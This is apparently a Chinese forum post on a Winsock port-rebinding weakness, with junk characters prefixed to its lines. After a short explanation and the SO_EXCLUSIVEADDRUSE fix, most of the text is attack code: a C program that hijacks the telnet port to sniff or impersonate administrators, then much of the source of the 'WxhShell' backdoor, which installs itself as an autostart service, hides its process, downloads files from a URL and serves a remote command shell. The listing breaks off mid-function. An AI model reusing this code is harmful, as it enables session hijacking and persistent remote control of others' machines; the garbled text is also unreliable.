在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
u0@i3Po s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=a<};X <6s?M1J saddr.sin_family = AF_INET;
BWct0= E .kjYIH8 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
W5_:Q@ :|:Disg bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
-H3tBEvoI (,gpR4O[ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>*PZ&"}M v){&g5djl 这意味着什么?意味着可以进行如下的攻击:
f(h nomn G Uf[Dz 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
gqje]Zc< lKMOsr@l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
;:a>#{N E2s
lpo 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
]mN'Qoc 5;5DEMe 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
RN1q/H| Bw31h3yB 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
rSUarfZ< 3+_
.I{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
e `!PQMLU `N_elf://n 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
' {L5 3cH= G $TLWfm
#include
cu4&*{ #include
8X@p?43 #include
\G?GX #include
7|IOn5 DWORD WINAPI ClientThread(LPVOID lpParam);
*Op;].>E int main()
fAu^eS%>7 {
^
2"r't WORD wVersionRequested;
?v-( :OF DWORD ret;
RnN]m!"5 WSADATA wsaData;
JM-spi o BOOL val;
,m-z D SOCKADDR_IN saddr;
?mJNzHrq; SOCKADDR_IN scaddr;
5U&b")3IT! int err;
K85;7R5 SOCKET s;
ccc*"_45# SOCKET sc;
(5s$vcK int caddsize;
ieN}Ajl2 HANDLE mt;
0UEEvD5 DWORD tid;
v)*/E'Cr* wVersionRequested = MAKEWORD( 2, 2 );
lLO|, err = WSAStartup( wVersionRequested, &wsaData );
J6eF7 fa if ( err != 0 ) {
8\?7k printf("error!WSAStartup failed!\n");
z+K -aj w return -1;
i NX%Zk[ }
h01 HX saddr.sin_family = AF_INET;
Fb&Xy{kt1 e`pYO]Z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Ak`7 f$z :Yi1# saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
@ 5!Mr5; saddr.sin_port = htons(23);
y9cDPwi:b if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}fps~R {
CbmT aEaP printf("error!socket failed!\n");
/DG+8u return -1;
?v4-<ewD }
~s@PP'! val = TRUE;
-a`` //SO_REUSEADDR选项就是可以实现端口重绑定的
eSNwAExm if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6>rgoT)6~ {
mRe BS printf("error!setsockopt failed!\n");
x;&01@m. return -1;
#-xsAKi }
OOzk@j^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
v=kQ/h //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-}u=tiNG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
R?)M#^"W Mu,}?% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
!_Z\K$Ns {
l<5@a
( ret=GetLastError();
`0.< printf("error!bind failed!\n");
Y}<w)b1e| return -1;
uhi(Gny. }
M#BM`2!s listen(s,2);
P.L$qe>O while(1)
qPEtMvL
# {
E+LAE/v@ caddsize = sizeof(scaddr);
\qx$h!< //接受连接请求
kvWP[! j?) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
k3F*D if(sc!=INVALID_SOCKET)
~*OQRl6F {
\J*~AT~5q mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
(twwDI if(mt==NULL)
p"A2N+
{
5K_KZL- printf("Thread Creat Failed!\n");
oy8L{8? break;
X$aN:!1 }
F't4Q }
x=1Iuc;&3 CloseHandle(mt);
f{
;L"*L }
,$"*X-1 closesocket(s);
x*]&Ca0+ WSACleanup();
>o=O^:/L return 0;
]mDsd* 1 }
{+`'ZU6C DWORD WINAPI ClientThread(LPVOID lpParam)
vL>cYbJ< {
V}?*kx~T2C SOCKET ss = (SOCKET)lpParam;
+m|S7yr' SOCKET sc;
-~ w5yd unsigned char buf[4096];
8+HXGqcv SOCKADDR_IN saddr;
Q"o* \I long num;
Z>0a?=1[ DWORD val;
&J>XKO nl DWORD ret;
<SK%W= //如果是隐藏端口应用的话,可以在此处加一些判断
5)tDgm //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
vD,ZEKAN saddr.sin_family = AF_INET;
I4[sf saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
]q#w97BxiJ saddr.sin_port = htons(23);
1(S0hm[ov if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
N4]Sp v {
%2H0JXKa, printf("error!socket failed!\n");
?8ZOiY( return -1;
#b u]@/ }
#%Z 0! val = 100;
3X&'hz@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O!uZykdX4! {
x;Qs_"t];3 ret = GetLastError();
I},]Y~Y3 return -1;
DrAp&A|WV| }
T;7=05k<_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.b.pyVk {
`^:>sU ret = GetLastError();
/wt!c?wR return -1;
vy:-a G }
GSHJ?}U, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&@g~o0 {
79m',9{u printf("error!socket connect failed!\n");
,iUWLcOM closesocket(sc);
;rp("<g:> closesocket(ss);
Z2Q'9C},m return -1;
){-Tt`0(u }
q mJ#cmN while(1)
c@eQSy {
$N
!l-lu= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
@u@N&{b5" //如果是嗅探内容的话,可以再此处进行内容分析和记录
Ly\ ` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
8i
epG num = recv(ss,buf,4096,0);
@fI1|v=eF if(num>0)
t@#+vs@ send(sc,buf,num,0);
5
)A(q\ else if(num==0)
XZh1/b^DMN break;
P\jnht num = recv(sc,buf,4096,0);
_*K=Z,a;\ if(num>0)
fT]hpoJl send(ss,buf,num,0);
|M8FMH[_ else if(num==0)
;u:A:Y4V break;
/$z(BX/ }
/nPNHO>U closesocket(ss);
xbVvK+ closesocket(sc);
cDkq@H: return 0 ;
<\44%M"iC- }
2F}D?]A vkR,Sn M%yeI{m ==========================================================
=d+~l )9pRT
dT 下边附上一个代码,,WXhSHELL
%`]&c)Z G+_Q7-o&d6 ==========================================================
W"{:|'/v i1c
z+} #include "stdafx.h"
(h8RthQt Ihn#GzM?u #include <stdio.h>
",v!geMvu #include <string.h>
j3-^,r
t4 #include <windows.h>
/JqNiqvh #include <winsock2.h>
>'eY/>n{ #include <winsvc.h>
\GF9;N}V #include <urlmon.h>
(BT{\|,V_m o4.?m6d #pragma comment (lib, "Ws2_32.lib")
h!~Qyb>W #pragma comment (lib, "urlmon.lib")
v=pkze bZ5cKQ\6 #define MAX_USER 100 // 最大客户端连接数
R!+_mPb=Q* #define BUF_SOCK 200 // sock buffer
:@~Nszlb #define KEY_BUFF 255 // 输入 buffer
a<E\9DL M~?2g.o'D #define REBOOT 0 // 重启
jqzG=/0~{ #define SHUTDOWN 1 // 关机
OMY^'g%w T)Uhp #define DEF_PORT 5000 // 监听端口
=q\Ghqj1 r(ZMZ^ #define REG_LEN 16 // 注册表键长度
Ye=c;0V(w #define SVC_LEN 80 // NT服务名长度
F.Sc2n@7- S5+W<Qs // 从dll定义API
fb=[gK#*, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ku3(cb!2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
-:V0pb typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
hifC.guK typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
iBXS a_T3< // wxhshell配置信息
9K:ICXm struct WSCFG {
^~7/hm: int ws_port; // 监听端口
j^T
i6F>f char ws_passstr[REG_LEN]; // 口令
r%uka5@ int ws_autoins; // 安装标记, 1=yes 0=no
#5%\~f char ws_regname[REG_LEN]; // 注册表键名
FJ+n-
\ char ws_svcname[REG_LEN]; // 服务名
G m~2s;/ char ws_svcdisp[SVC_LEN]; // 服务显示名
DtFzT>$^F char ws_svcdesc[SVC_LEN]; // 服务描述信息
} %bP9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_SQQS67fu" int ws_downexe; // 下载执行标记, 1=yes 0=no
g7l?/p[n char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6k=*O|r char ws_filenam[SVC_LEN]; // 下载后保存的文件名
"9v4'" ]aZ3_<b };
%wQE
lkB GbwqrH+ // default Wxhshell configuration
PAy/"R9DT- struct WSCFG wscfg={DEF_PORT,
Dk^T_7{ "xuhuanlingzhe",
}8LTYn 1,
Z.%0yS_T "Wxhshell",
KsDovy< "Wxhshell",
y5/LH~&Ov "WxhShell Service",
Hp(wR'(g& "Wrsky Windows CmdShell Service",
">M:6\B "Please Input Your Password: ",
&&>Tfzh 1,
-)%gMD~z1 "
http://www.wrsky.com/wxhshell.exe",
x4N*P "Wxhshell.exe"
=J GL~t? };
@c-| Sl 0F-%C>&g // 消息定义模块
EEp~\^- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ra|Ku! char *msg_ws_prompt="\n\r? for help\n\r#>";
3+WmM4| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
dr gCr:Gf char *msg_ws_ext="\n\rExit.";
x:E:~h[.^ char *msg_ws_end="\n\rQuit.";
\LYNrL~?J char *msg_ws_boot="\n\rReboot...";
(`js/7[`H[ char *msg_ws_poff="\n\rShutdown...";
hRI?>an char *msg_ws_down="\n\rSave to ";
=,J-D6J? nr?| !gj char *msg_ws_err="\n\rErr!";
m85Hx1!p. char *msg_ws_ok="\n\rOK!";
~vscATQ {%BPP{OFk char ExeFile[MAX_PATH];
Yl`)%6'5| int nUser = 0;
(&!x2M HANDLE handles[MAX_USER];
.FeVbZW int OsIsNt;
2hf7F";Af O gtrp)x9 SERVICE_STATUS serviceStatus;
j2`%sBo SERVICE_STATUS_HANDLE hServiceStatusHandle;
.L8g(F(=: L#`Vr$ // 函数声明
r!&}4lHYi int Install(void);
uwc@~=; int Uninstall(void);
[;pL15-}4 int DownloadFile(char *sURL, SOCKET wsh);
I\~sE Jwj int Boot(int flag);
v
8B4%1NE void HideProc(void);
.H}#,pQ}l int GetOsVer(void);
zF@/8# int Wxhshell(SOCKET wsl);
uhvn1" void TalkWithClient(void *cs);
o#QS: '| int CmdShell(SOCKET sock);
!-~sxa280r int StartFromService(void);
2rWPqG4e int StartWxhshell(LPSTR lpCmdLine);
A(D3wctdr PlRcrT"#w VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
B'hN3. VOID WINAPI NTServiceHandler( DWORD fdwControl );
D}OhmOu3 Zo#c[9IaC // 数据结构和表定义
|.?Xov] SERVICE_TABLE_ENTRY DispatchTable[] =
Y<;KKD5P'j {
fn,
YH {wscfg.ws_svcname, NTServiceMain},
71c(Nw~iQ {NULL, NULL}
B&"c:)1
C2 };
.W51Cup@& <AN5>:k[pM // 自我安装
Sv\399( int Install(void)
)ml#2XP!f {
T_ga?G< char svExeFile[MAX_PATH];
>Q2kXwN HKEY key;
34I;DUdcE strcpy(svExeFile,ExeFile);
gv7@4G ay,"MJ2 // 如果是win9x系统,修改注册表设为自启动
u+m9DNPF if(!OsIsNt) {
}t0JI3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ddwokXx
( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Lt_A& RegCloseKey(key);
Ge ?Q)N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+ctJV> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
fS]Z`U" RegCloseKey(key);
/kV5~i<1S return 0;
qZ%0p*P#_ }
er.;qV'Wz6 }
,!QtViA7 }
Huc|HL#C else {
Vx%!j& KtcuGI/A // 如果是NT以上系统,安装为系统服务
@}ioK=A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
b!T-{Ns6 if (schSCManager!=0)
I.- I4F)D {
S{nBQB< SC_HANDLE schService = CreateService
nq:'jdY5| (
KT0Pmpp5 schSCManager,
l{Xy %8 wscfg.ws_svcname,
T'-kG"l b wscfg.ws_svcdisp,
;~Gez;AhK SERVICE_ALL_ACCESS,
NEt_UcC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
W?yGV{#V(= SERVICE_AUTO_START,
;v5Jps2^] SERVICE_ERROR_NORMAL,
vlo!D9zsV3 svExeFile,
[sl"\3) NULL,
5Un)d<!7&u NULL,
t[:G45].-k NULL,
%&!B2z} NULL,
,VZ<r5NT NULL
+@dgHDJ );
Z@i,9 a if (schService!=0)
km29]V=} {
[6CWgQ%Ue CloseServiceHandle(schService);
CcZM0 CloseServiceHandle(schSCManager);
@c=bH>Oz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7 b8pWM strcat(svExeFile,wscfg.ws_svcname);
>M7(<V if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
SN;_.46k RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
j/uzsu+ RegCloseKey(key);
a *qc return 0;
87rHW@\]( }
GpCjoNcW{ }
x{3q'2 CloseServiceHandle(schSCManager);
hw1J <Pl* }
sOm&7A? }
%UB+N8x`a 3K%_wCZ return 1;
|u.3Tp|3W }
QG
1vP.K }'4aW_ta // 自我卸载
.q'{3 int Uninstall(void)
Wql,*| {
IJBIO>Z/ HKEY key;
-H$C3V3] `.F3&pA if(!OsIsNt) {
#@<L$"L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[fg-"-+:M RegDeleteValue(key,wscfg.ws_regname);
T^S$|d RegCloseKey(key);
l@g%A#
_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v\R-G RegDeleteValue(key,wscfg.ws_regname);
f`-UC_(; RegCloseKey(key);
@DK`#, return 0;
#0c;2}D }
Q+dLWFI }
G"U^]$(+K }
0F<$Zbe2B else {
LzD,]{CC5 i'z(`" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
cG5u$B if (schSCManager!=0)
Hu"TEhW(2 {
w\ddC DZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
0A F}wz> if (schService!=0)
-_irkpdC[ {
qP72JxT if(DeleteService(schService)!=0) {
3ZhuC".c CloseServiceHandle(schService);
I~ e,'] CloseServiceHandle(schSCManager);
b5W(}ka+ return 0;
8b< 'jft }
!f G}<6&i CloseServiceHandle(schService);
QW2SFpE }
s ?|Hw|j CloseServiceHandle(schSCManager);
KVPWJHGr }
2{4f>,][ }
v8>bR|n5 0?=a$0_C return 1;
S^nI=HTm }
;]T;mb> Zo@ // 从指定url下载文件
)pG*_q int DownloadFile(char *sURL, SOCKET wsh)
98lz2d/Fcq {
"f>`ZFp^ HRESULT hr;
NZZc[P char seps[]= "/";
!mK}Rim~ char *token;
y0,>_MS char *file;
Z
|< char myURL[MAX_PATH];
sZ#U{LI char myFILE[MAX_PATH];
Dq`$3ZeA y':65NMda strcpy(myURL,sURL);
B[fbP rM token=strtok(myURL,seps);
, nW)A/?} while(token!=NULL)
w-LaSJ(T {
CM;B{*En file=token;
) h=[7}| token=strtok(NULL,seps);
%nyZ=&u }
u|75r%p> -(9TM*)O GetCurrentDirectory(MAX_PATH,myFILE);
:Q"p!,X=- strcat(myFILE, "\\");
!wH'dsriD strcat(myFILE, file);
om8`^P/b send(wsh,myFILE,strlen(myFILE),0);
b&*N send(wsh,"...",3,0);
JwdvY] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
LQJC ]*b1 if(hr==S_OK)
n= FOB0= return 0;
.Xk#Cwm' else
a$$aM2.2 return 1;
Dmr3r[ '?d5L+9 }
H Yw7* t_id/ // 系统电源模块
d?N[bA
int Boot(int flag)
MC%!>,tC {
*`V r P HANDLE hToken;
R[}fr36>/ TOKEN_PRIVILEGES tkp;
!%/(a)B$^$ mLDuizWI if(OsIsNt) {
ozW\` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
OXF/4Oe LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
=J'&.@Dwz tkp.PrivilegeCount = 1;
Pp`[E/
qj4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
CB`GiH/j AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
9EWw if(flag==REBOOT) {
@P<aTRy,f if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
dlBr2 9 return 0;
N[kl3h%q }
lCGEd 3 else {
%:\GYs(Y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
A}_0iwG return 0;
VbX$\Cs: }
EXti }
QI`&N(n else {
uLrZl0%HT~ if(flag==REBOOT) {
>9t+lr1 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
a"phwCc"% return 0;
0](V@F"~ }
3z
-="_p else {
t!o=-k if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
K9) |b`E= return 0;
d)L,kzN }
rs,:pU }
>Zh^,T={G i&0Zli return 1;
.Zr3!N.t }
Ted!*HKlB 7$Lt5rn"} // win9x进程隐藏模块
8}?w%FsN# void HideProc(void)
!&pk^VFl+ {
W$:D#;jz`h "89L^I HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ESni r6HoU if ( hKernel != NULL )
>w#&fd {
69N8COLB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
>Y;[+#H[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
~z7Fz"o< FreeLibrary(hKernel);
B
!Z~j T }
<%S[6*6U o^Qy71Uj return;
'25zb+- }
<=@6UPsn2 Xw&vi\*m // 获取操作系统版本
CIAKXYM int GetOsVer(void)
$>hH{ {
ORFi0gFbA OSVERSIONINFO winfo;
mX GW+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
:b<< GetVersionEx(&winfo);
0iVeM!bM if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
D:PrFa return 1;
6k;>:[p else
'%*/iH6<U{ return 0;
/~P4<1 }
=Q4Wr0y><] ja^ // 客户端句柄模块
6<No_x |_ int Wxhshell(SOCKET wsl)
5E}!TL$ {
6yXN7L==x SOCKET wsh;
##'uekSJ struct sockaddr_in client;
fDwqu.K DWORD myID;
YZz8xtM<2 !jRs5{n^Ol while(nUser<MAX_USER)
[>|6qY$D {
Zz! yv(e)H int nSize=sizeof(client);
XF?"G<2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Y.E]U!i* if(wsh==INVALID_SOCKET) return 1;
4q\gFFV4 7A{,)Y/w ^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
V@\A<q%jTs if(handles[nUser]==0)
O[z-K K< closesocket(wsh);
3#Xv))w1 else
#xt-65^ nUser++;
cCq mrjUmV }
As(6E}{S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
G<`6S5J>hr 2bxW`.fa return 0;
hlFvm$P`M }
%QQJSake| Z%QU5. // 关闭 socket
T.q7~ba* void CloseIt(SOCKET wsh)
oFp4*<\ {
7$"n.cr
: closesocket(wsh);
9HZR%s[J nUser--;
dI~{0)s ExitThread(0);
3($tD*!o }
]~\%ANoi ef:YYt{|q // 客户端请求句柄
B4w/cIj_ void TalkWithClient(void *cs)
L+.-aB2!d {
UGQHwz `ex>q SOCKET wsh=(SOCKET)cs;
HlXEU$e
char pwd[SVC_LEN];
||'A9 char cmd[KEY_BUFF];
GyGF<%nq char chr[1];
OVEQ^\Q5D int i,j;
i:x<Vi 'nfdOX.d while (nUser < MAX_USER) {
B } =A<a9@N}N if(wscfg.ws_passstr) {
DVw 04ay% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
d ZxrIWx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
MR.c?P?0Q //ZeroMemory(pwd,KEY_BUFF);
f#
sDG i=0;
Ummoph7_@ while(i<SVC_LEN) {
Ev,b5KelD 5KL??ao- // 设置超时
7rIEpN>* fd_set FdRead;
#F ;@Qi3z struct timeval TimeOut;
j:[#eC FD_ZERO(&FdRead);
AV;x'H7G FD_SET(wsh,&FdRead);
NH!x6p]n TimeOut.tv_sec=8;
K#[z5 TimeOut.tv_usec=0;
uw{K&Hxw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
B=|m._OL]n if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
U\(T<WX, =o_zsDv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(gF{S*` pwd
=chr[0]; YkI_i(
if(chr[0]==0xd || chr[0]==0xa) { oC|']r6
pwd=0; LteZ7e
break; &'W ~~ir
} oZw #]Q@
i++; >"pHk@AW K
} e{}vT$-
P@8S|#LpZ
// 如果是非法用户,关闭 socket )KUEkslR:
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6kdcFcV-]
} 7loIjT7
m&+V@H
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DB.)/(zWQ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~iU@ns|g\
M+Eg{^ q`
while(1) { p~h[4hP
dWVm'd
ZeroMemory(cmd,KEY_BUFF); -H"^;37T"
^2"3h$DJfS
// 自动支持客户端 telnet标准 "]x#kM
j=0; j&Y{
CFuZ
while(j<KEY_BUFF) { )q>q]eHz
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .Tc?PmN
cmd[j]=chr[0]; b*<Fi#x1=
if(chr[0]==0xa || chr[0]==0xd) { Aw=GvCo<
cmd[j]=0; 6}?5Oy_XF2
break; P/T`q:<H
} 3/EJ^C
j++; J6g:.jsK!
} \OK"r-IO
DcmRvi)&6
// 下载文件 )X'ln
if(strstr(cmd,"http://")) { <E\vc6n
send(wsh,msg_ws_down,strlen(msg_ws_down),0); nD#uOep9
if(DownloadFile(cmd,wsh)) _TjRvILC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G!g];7PG(
else `_ )5K u}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A9ZK :i7
} UiH5iZ<r;
else { VVHL@
s+6tdBvzs
switch(cmd[0]) { 4x?4[J~u[
->5[C0: ]
// 帮助 F tay8m@f
case '?': { koy0A/\%
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cD]#6PFA
break; Z2&7HTz
} Ed>n/)Sm
// 安装 |!uC [=
case 'i': { :\"g}AX
if(Install()) 5 IFc"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y{J7^o(_~
else IZ9*
'0Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jYnP)xX;
break; V( 3rTDg
} #hh7fE'9
// 卸载 & hv@ &
case 'r': { %QFeQ(b/(
if(Uninstall()) BD&AtOj[,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fz^5cxmw
else V5S6?V\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !b'!7p
break; (]sk3
A
} 6yhRcvJ}
// 显示 wxhshell 所在路径 `{'h+v`
case 'p': { *2r(!fJP=^
char svExeFile[MAX_PATH]; tS6r4d%~=
strcpy(svExeFile,"\n\r"); aIklAj)=
strcat(svExeFile,ExeFile); Rj~y#m
send(wsh,svExeFile,strlen(svExeFile),0); jP"yG#
break; Zl{DqC^
} apv"s+
// 重启 E
rnGX#@v
case 'b': { 4|xQQv
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f(.t0{Etq
if(Boot(REBOOT)) ,Zb_Pu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dyuT-.2
else { 7*g'4p-
closesocket(wsh); 9RJFj?^"
ExitThread(0); okLheF
} 89a`WV@}
break; ,<<HkEMS
} &|c] U/_w
// 关机 o`7B@]
case 'd': { `&g1`vg
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cp^%;(@
if(Boot(SHUTDOWN)) `lN
Z|U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y+P$}Nru
else { {#H'K*j{
closesocket(wsh); 7` IO mTk
ExitThread(0);
bC%}1wwh
} bVYsPS
break; I8LoXY
} A:,R.P>`C
// 获取shell *sq+ Vc(
case 's': { UszR. Z
CmdShell(wsh); XMm(D!6
closesocket(wsh); vL~j6'
ExitThread(0); ){xMMQ5
break; & 6~AY:0r
} G-W(giF;NO
// 退出 uG7ll5Yy
case 'x': { [:cZDVaA|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Oy~X@A
CloseIt(wsh); l8By2{pN
break; -
xQJY)
} &z%DX
// 离开 7K &j
case 'q': { J_>nn
send(wsh,msg_ws_end,strlen(msg_ws_end),0); CUa`#
closesocket(wsh); 6cbIs_g
WSACleanup(); meR5E?Fm
exit(1); $d%NFc&
break; gclw>((5
} `zMR?F`
} 3k5F$wf
} $/;<~Pzi
@4%x7%+[c
// 提示信息 G,A;`:/
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LJmRa
} IC@-`S#F
} Z*lZl8(`
2 [yfo8H
return; H&=3rkX
} Dv-ubki
P>;u S
// shell模块句柄 4dUr8]BkG
int CmdShell(SOCKET sock) J5*( PxDF
{ K 6HH_T
STARTUPINFO si; =B tmi
ZeroMemory(&si,sizeof(si)); c`4i#R
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4@* `V
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MU5#ph
PROCESS_INFORMATION ProcessInfo; 0O7VM)[
char cmdline[]="cmd"; S9@)4|3C|p
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h,)UB1
return 0; n%}Vd
`c
} _,5)
?)'+l
// 自身启动模式 =%$BFg1a(
int StartFromService(void) r[y3@SE5
{ oM)4""|
typedef struct ICXz(?a
{ 3(R]QO`%'
DWORD ExitStatus;
"xY]&
DWORD PebBaseAddress; N.qS;%*o{e
DWORD AffinityMask; y/yg-\/XF
